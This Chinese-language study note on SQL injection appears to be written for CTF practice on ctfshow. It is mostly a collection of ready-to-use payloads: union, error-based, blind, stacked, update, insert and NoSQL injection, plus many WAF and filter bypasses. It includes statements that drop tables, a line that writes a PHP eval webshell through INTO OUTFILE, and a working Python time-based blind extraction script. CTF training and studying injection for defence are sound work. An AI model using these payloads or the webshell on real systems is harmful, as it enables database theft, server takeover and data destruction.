SQL注入介绍
本质为因为网站对用户输入没有进行充分过滤(过于信任), 导致的sql语句拼接并查询数据库得到了敏感信息
建议学一些数据库语句, 浅尝即止, 能看得懂下面的语句就可以了
注入方式
union 联合注入
# 判断列数 -1' order by 4 -- # 判断显示位 -1' union select 1,2,3 -- // 假如未出现 123 尝试查看下一行 -1' union select 1,2,3 limit 1,1 -- # 查询数据库名 -1' union select 1,database(),3 -- # 查询所有数据库名 -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), 3 -- # 查询数据库内表名 -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 -- # 或 -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database_name',3 -- # 查询此表内字段名 -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='table_name',3 -- # 查询字段内容 -1' union select 1,group_concat(id,flag) from table_name,3 --
报错注入
什么时候使用报错注入:
查询无回显位, 或者源代码中有输出错误的代码的时候, 使用报错注入
# 检查是否有正常回显, 漏洞验证 1' and updatexml(1,'~',3) -- # 获取所有数据库 -1' and updatexml(1,concat('~',substr((select group_concat(schema_name)from information_schema.schemata), 1 , 31)),3) -- # 获取当前数据库名 -1' and updatexml(1,concat('~',database()),3) -- # 获取数据库内表 -1' and updatexml(1,concat('~',substr((select group_concat(table_name)from information_schema.tables where table_schema = 'database_name'), 1 , 31)),3) -- # 获取表内字段 1' and updatexml(1,concat('~',substr((select group_concat(column_name)from information_schema.columns where table_schema = 'database_name' and table_name = 'table_name'), 1 , 31)),3) -- # 获取表内信息 -1'and updatexml(1,concat('~',substr((select column_name from table_name), 1 , 31)),3)-- # 或 -1' and updatexml(1,concat('~',substr((select password from mysql.user where user='mituan') , 1 , 31)),3) --
过滤updatexml
那就用extractvalue
无列注入
通过 join 建立两个表之间的内连接, 也就是说跟给列赋别名有点相似,就是在取别名的同时查询数据
进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
盲注
布尔盲注
存在回显1, 不存在回显0
输入不存在的用户名会输出用户不存在, 否则输出密码错误
测试用语句:
if(condition, value_if_true, value_if_false) if(2>1,1,0) # 直接判断是否存在盲注, 或者结合load_file()对文件内容内容进行判断, 即当存在时返回0, 不存在时返回1
时间盲注
测试用语句:
ip=if(2>1,sleep(5),1)&debug=1 # 可以感觉到差不多延时5s, 就证明存在盲注
构造payload用的函数:
堆叠注入
利用分号使得原语句和构造的语句都执行一次, union联合查询是两个查询一起执行, 所以才需要类似-1这种让前面的查询无回显
堆叠注入最大的特点就是可直接执行命令, 所以可以更改判断条件的变量使得我们绕过这个判断;
此处利用的就是update更新数据库:
POST: username=0;update user set pass=1&password=1
有时候结合handler进行注入
绕过
当 database 被过滤, 可以访问一个不存在的数据库来返回数据库名
当column被过滤, 用 join 无列注入
假如 updatexml 被过滤, 可以替换为 extractvalue, extractvalue 函数只能显示返回的32个字符串,结合 substr 等使用
# 查询数据库 1' and (extractvalue(1,concat('~'(select database())))); 1' and (extractvalue('anything',concat('/',(select database())))); 1' and (extractvalue('anything',concat('~',substring((select database()),1,5)))); 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))# # 访问不存在的数据库来返回数据库, 或者将||换成or,爆库。 1'||(select * from aa)# # 获取数据库内表 -1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
过滤or and xor
原字符串
替换字符串
and
&&
or
||
not
!
xor
|
过滤in和not in
假如一个表有三行, 不能查看1只能查看2,3就用not in, 只会显示1的内容
select * from users where id in (2 ,3 );select * from users where id not in (2 ,3 );
过滤空格
在select语句外
双空格 /**/ 括号绕过 回车代替(//ascii码为chr(13)&chr(10),url编码为%0d%0a) %09 %20 %0A %0C %0D %0B %A0 $IFS ${IFS} $IFS$9 <> < \x20
在select语句内
# 反引号 -1'/**/union/**/select/**/1,(select`password`from`user`where`username`='flag'),3%23 # 单引号 -1'/**/union/**/select'1',(select`password`from`user`where`username`='flag'),3%23 # 括号 username=-1',(select(group_concat(flag))from(flagb)))%23
过滤select
基本就是过滤了联合注入, 但是可以用or
返回值过滤
规定返回的值不能有特定内容
过滤字符串这种就加一层编码就行, 比如md5, sha, hax等等
select id,hex(username),password from user where username= 'admin'
过滤所有数字的就需要加点东西了, 可以用replace嵌套去替代数字
i = 0 s = f"replace(password,{i} ,'{chr (ord (str (i)) + 55 )} ')" for i in range (1 ,10 ): s = f"replace({s} ,{i} ,'{chr (ord (str (i)) + 55 )} ')" print (s)
还原脚本
flag = 'ctfshow{fgggaeje-lljd-kkjd-ojoo-akhdefbmdlbb}' for i in range (10 ): flag = flag.replace(chr (ord (str (i)) + 55 ), str (i)) print (flag)
这种时候考虑外带, 写在文件中, 给网站写个马
-1'union select username,password from user into outfile '/var/www/html/flag.txt'%23 -1'union select 1,"<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/1.php'%23
substr函数
mid 函数绕过, 但是注意 mid 多数时候只在 MySQL 中使用
MID( column_name , start , length)
, substr同下
参数
描述
column_name
要提取字符的字段
start
规定开始位置
length
可选,要返回的字符数,不填则返回剩余字符串
MID(DATABASE(),1 ,1 )> 'a' # 查看数据库名第一位 MID(DATABASE(),2 ,1 ) # 查看数据库名第二位, 依次查看各位字符
left (database(),1 )> 'a' # 查看数据库名第一位left (database(),2 )> 'ab' # 查看数据库名前二位```` ### 关键词替换为空 部分过滤是select 等关键词, 关键词短语替换为空,可以用双写绕过 union - > uniunionon### 过滤等号 使用 like , rlike, regexp, < , > 替代 ```sql select ascii(substring (user (),1 ,1 ))< 115 ;select ascii(substring (user (),1 ,1 ))> 114 ;select substring (user (),1 ,1 ) like 'r%' ;select substring (user (),1 ,1 ) rlike 'r' ;select user () regexp '^ro' ;
过滤注释符
利用闭合的方式查询, 主要还是靠查询语句
-1'union%0cselect'1',2,'3 -1'%0cor%0cusername='flag -1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
过滤sleep
benchmark()
benchmark()
是Mysql的一个内置函数,其作用是来测试一些函数的执行速度
benchmark(执行的次数, 要执行的函数或者是表达式) benchmark(1500000,md5(1))
执行不同的次数那么执行的时间也就不一样, 通过这个函数我们可以达到与sleep()
同样的延时目的
笛卡尔积
通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算
没有使用任何连接条件的两个表, 数据库会执行笛卡尔积操作
所以可以用下面这个替代sleep:
(select count(*) from ((information_schema.columns)A, (information_schema.columns)B, (information_schema.columns limit 1,7)c) limit 1)
get_lock 加锁
超长字符串连接
过滤数字
可以用str构造数字和字母
String Functions and Operators
select true+true; # 返回2 select concat((true+true),(true+true)); # 返回22 select concat((true+true),(true+true),'f'); # 返回22f select false; # 返回0 select concat(false); # 返回0
可用脚本可以看 ctfshow web185
参考文章
那些拼接就不管了, 主要是替代品
mysql默认存储引擎innoDB携带的表:
利用innodb_table_stats
代替information_schema
, mysql.innodb_table_stats
和mysql.innodb_index_stats
, 两表均有database_name
和table_name
字段
# 查表 banlist,user,flag password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
传入变量后解码
可以整个payload编码一次, 或者直接闭合整个语句后拼接
where ip = from_base64 ($id ); ?id='1' ) or if (2 >1 ,sleep (5 ),1 )
限制传入参数长度
利用泄露的账号密码可以登陆, 如果没有, 就只能靠其他方面的弱点了
比如说没有单引号包裹啊, 或者存在下面这种:
if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
可以利用select 来设置$row[0]
的值, 从而绕过判断
通配符绕过
sql的通配符是%
-1' or username like'%fla%
ascii 字符对比绕过
如果对 union select 进行拦截 而且似乎怎么都绕不过去, 那么可以不使用联合查询注入, 可以使用字符截取对比法
感觉就是盲注
select substring (user (),1 ,1 );select * from users where id= 1 and substring (user (),1 ,1 )= 'r' ;# 最好把'r' 换成成 ascii 码 select * from users where id= 1 and ascii(substring (user (),1 ,1 ))= 114 ;
二次编码绕过
有些程序会解析二次编码,大部分情况下, 绕过 gpc 字符转义 和 waf 的拦截
拼接绕过
简单拆一下
-1' union select 1,('selec','t * from flag'), 3%23
多函数拆分绕过
多余多个参数拼接到同一条 SQL 语句中, 可以将注入语句分割插入。
例如请求 get 参数:
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
条件:
在程序代码中看到两个可控的参数, 但是使用 union select 会被 waf 拦截。
$id = isset ($_GET ['id' ])?$_GET ['id' ]:1 ;$username = isset ($_GET ['uername' ])?$_GET ['username' ]:'admin' ;$sql = "select * from users where id = '$id ' and username = '$username '" ;
select语句变形变形
查阅mysql官网SELECT Statement 查看有什么可以替换的
select count (* ) from user group by username having username= 'flag' select count (* ) from user group by username having username regexp(0x666c6167 )# flag的十六进制
特殊字符串
详情见ctfshow web187
$password = md5 ($_POST ['password' ],true );$sql = "select count(*) from ctfshow_user where username = '$username ' and password= '$password '" ;
这个时候ffifdyop
就会派上用场
在经过md5假面之后该字符串会变成'or'6
加上不可见字符, 这样就构建了一个永真的判断
而在查询语句中, 只要字符串头出现数字就可以构造永真判断:
# 不可行 select count (* ) from user where username = '' or 'aaaa' ;# 可行 select count (* ) from user where username = '' or '6aaaa' ;
变量未包裹
在查询变量没有单引号包裹的时候, 会自动进行字符类型转换; 首字符是字母转换过来就是0, 首字符是数字就会匹配输入的数字
$sql = "select pass from ctfshow_user where username = {$username} " ;
所以提交username=0
, 就可以通过一些判断
删除/更新表
可以很长, 又不能联合注入, 而且没有通过单引号包含传入的参数, 尝试执行相关命令: 更新表或者删除后新建一个一样的表
# 删除ctfshow_user表 drop table users; # 创建一个新的表user create table users(`username` varchar(100),`pass` varchar(100)); # 用于向user表插入一条数据 insert users(`username`,`pass`) value(1,2);
sqlmap
这个见[[sqlmap]]笔记, 里面有更详细的使用方法
handler语句
参考文章:
handler语句
让我们能够一行一行的浏览一个表中的数据, 但是它仅在mysql
存在且不包含select
函数的完整功能;
最堆叠注入中, 基本上结合我们的show就可以绕过大部分过滤
# 查表 1';show tables;%23 # 查内容 1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;%23
预处理
预处理就是定义一串sql查询语句为一个名字, 然后直接通过这个名字来运行该查询语句
标准格式如下, 有时候需要去掉那个"删除预定义语句"
PREPARE name from '[my sql sequece]'; # 预定义SQL语句 EXECUTE name; # 执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; #删除预定义SQL语句
可以用十六进制替代部分参数, 比如
prepare h from 0x73686f77207461626c6573;execute h;
例题可以看ctfshow web225
转译符号
利用转译符号去掉特定的单引号
update ctfshow_user set pass = '\' where username = ',username=database()#' # 等价于 update ctfshow_user set pass = 'x',username=database()#'
存储过程和函数
参考文章:
这个似乎也归类在堆叠注入
妙妙工具
username=0;show tables&password=user
, 这个可以绕过下面这个
$sql = "select pass from ctfshow_user where username = {$username} ;" ;if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
其他注入
Limit注入
可参考的文献:
此方法适用于MySQL 5.x中,在limit语句后面的注入
在官方的select语句解释中, limit
后可以跟procedure
和into
, 可以利用procedure
进行注入, 通常结合报错注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
Group by注入
可参考的文章:
似乎有报错注入和盲注两种方法
Floor()报错注入
一般用在同时过滤updatexml
和extractvalue
的情况下
参考文章:
如果上面三个全部都过滤了, 换一下函数就可以了:
floor() 向下取整 ceil() 向上取整 round() 四舍五入
Update注入
利用子查询将结果更新到可见表中, 也是一种拼接
$sql = "update ctfshow_user set pass = '{$password} ' where username = '{$username} ';" ;
# 查库 web password=1',username=database()#&username=1 # 查表 banlist,user,flag password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1 # 查列 id,flag,info password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flag')#&username=1 # 查字段 password=1',username=(select flag from web.flag) where 1=1#&username=1
Insert注入
和Update注入大差不差, 只不过这次是插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username} ','{$password} ');" ;
# 查表: username=123',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=123 # 查列: username=123',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=123 # 查数据: username=123',(select group_concat(flag) from flag))#&password=123
无列名注入
又名无列注入, 其实就是柱子替代列名
参考文章:
Delete注入
delete不能用union和select, 可以用报错注入或者是盲注
如果回显没有被覆盖, 那就用报错注入
into outfile
这个真没名字吧
参考文章:
UDF注入
参考文章:
这个也用于渗透中的提权操作
Quine注入
原理
Quine指的是自产生程序, 简单的说, 就是输入的sql语句与要输出的一致
if ($row ['passwd' ] === $password ) { die ($FLAG ); }
但是一般出现这种代码, 表都是空的, 可能会有后台phpmyadmin弱密码登录, 登录后通常会发现是空的
只有构造输入输出完全一致的语句, 才能绕过限制得到FLAG, 主要利用replace(str,old_string,new_string)进行构造, 构造思路如下:
select replace('replace(".",char(46),".")' ,char (46 ),'replace(".",char(46),".")' );
输入和输出的结果为下 :
replace('replace(".",char(46),".")' ,char (46 ),'replace(".",char(46),".")' ); replace("replace(".",char(46),".")",char (46 ),"replace(".",char(46),".")") ;
但是依然还有单引号和双引号不一致, 再套一层, 最后结果如下, 实现了输入输出一致
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")' ,char (34 ),char (39 )),char (46 ),'replace(replace(".",char(34),char(39)),char(46),".")' );
附加条件处理
过滤了char, 用chr或者直接0x代替即可
函数使用限制, 用大小写绕过
nosql
就是其他数据库的注入/查询方法
MongoDB重言式
在mongodb中,要求的查询语句是json格式,如{"username": "admin", "password": "admin"}
而在php中,json就是数组,也就是Array('username'=> 'admin', 'password'=> 'admin')
,
同时MongoDB要求的json格式中,是可以进行条件查询的,如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}}
,会匹配密码abc
也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询
username[$ne]=1&password[$ne]=1
$ne
是不相等的意思, $regex
则是正则匹配
也可以利用盲注, 只是payload构造不同罢了
脚本编写
利用regexp()
函数:
# 假设 user 表有以下记录: | id | pass | | 1 | password | | 2 | ctf123 | | 3 | secret | | 4 | ctf_flag | # 执行查询 select * from user where pass regexp("ctf") 将返回: | id | pass | | 2 | ctf123 | | 4 | ctf_flag |
示例代码:
from requests import postfrom string import digits, ascii_lowercaseurl = '' payload = 'admin\' and (select database()) regexp \'{}\' #' for c in '-}_' + digits + ascii_lowercase: resp = post(url, {'username' : payload.format (flag + c)})
或者是直接遍历字符, 用函数给他编个码, 示例代码如下
import requestsurl = "" payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#" .format (i, mid) data = { "username" : payload, "password" : 0 } res = requests.post(url=url, data=data)
附录
这是一个能应对大多数题目的盲注脚本, 有时候不好用
import requestsimport timedef res_judge (url, payload ): data = { "ip" : payload, "debug" : 1 } try : res = requests.post(url=url, data=data, timeout=0.7 ) except requests.exceptions.Timeout: time.sleep(0.1 ) print (f"[+] Payload: {payload} " ) return 1 except requests.exceptions.RequestException as e: print (f"[!] Error occurred: {e} " ) return -1 def the_length (url, query ): for i in range (1 , 80 ): payload = f"\'or if((length(({query} )))={i} ,sleep(2),1)#" if res_judge(url, payload): print (f"[+] Found the length: {i} " ) return i url = "http://a24c3f93-a30a-47eb-abb2-6a4983c4468b.challenge.ctf.show/api/" flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789" flag = "" query = "select flagaa from ctfshow_flagxc" length = the_length(url, query) if length: for i in range (1 , length + 1 ): for mid in flagstr: payload = f"\'or if((substr(({query} ),{i} ,1)='{mid} '),sleep(2),1)#" if res_judge(url, payload): flag += mid print (f"[+] Found {i} th character: {mid} " ) print (f"[-] The String: {flag} " ) else : print (f"[!] Error occurred: length return none" ) exit()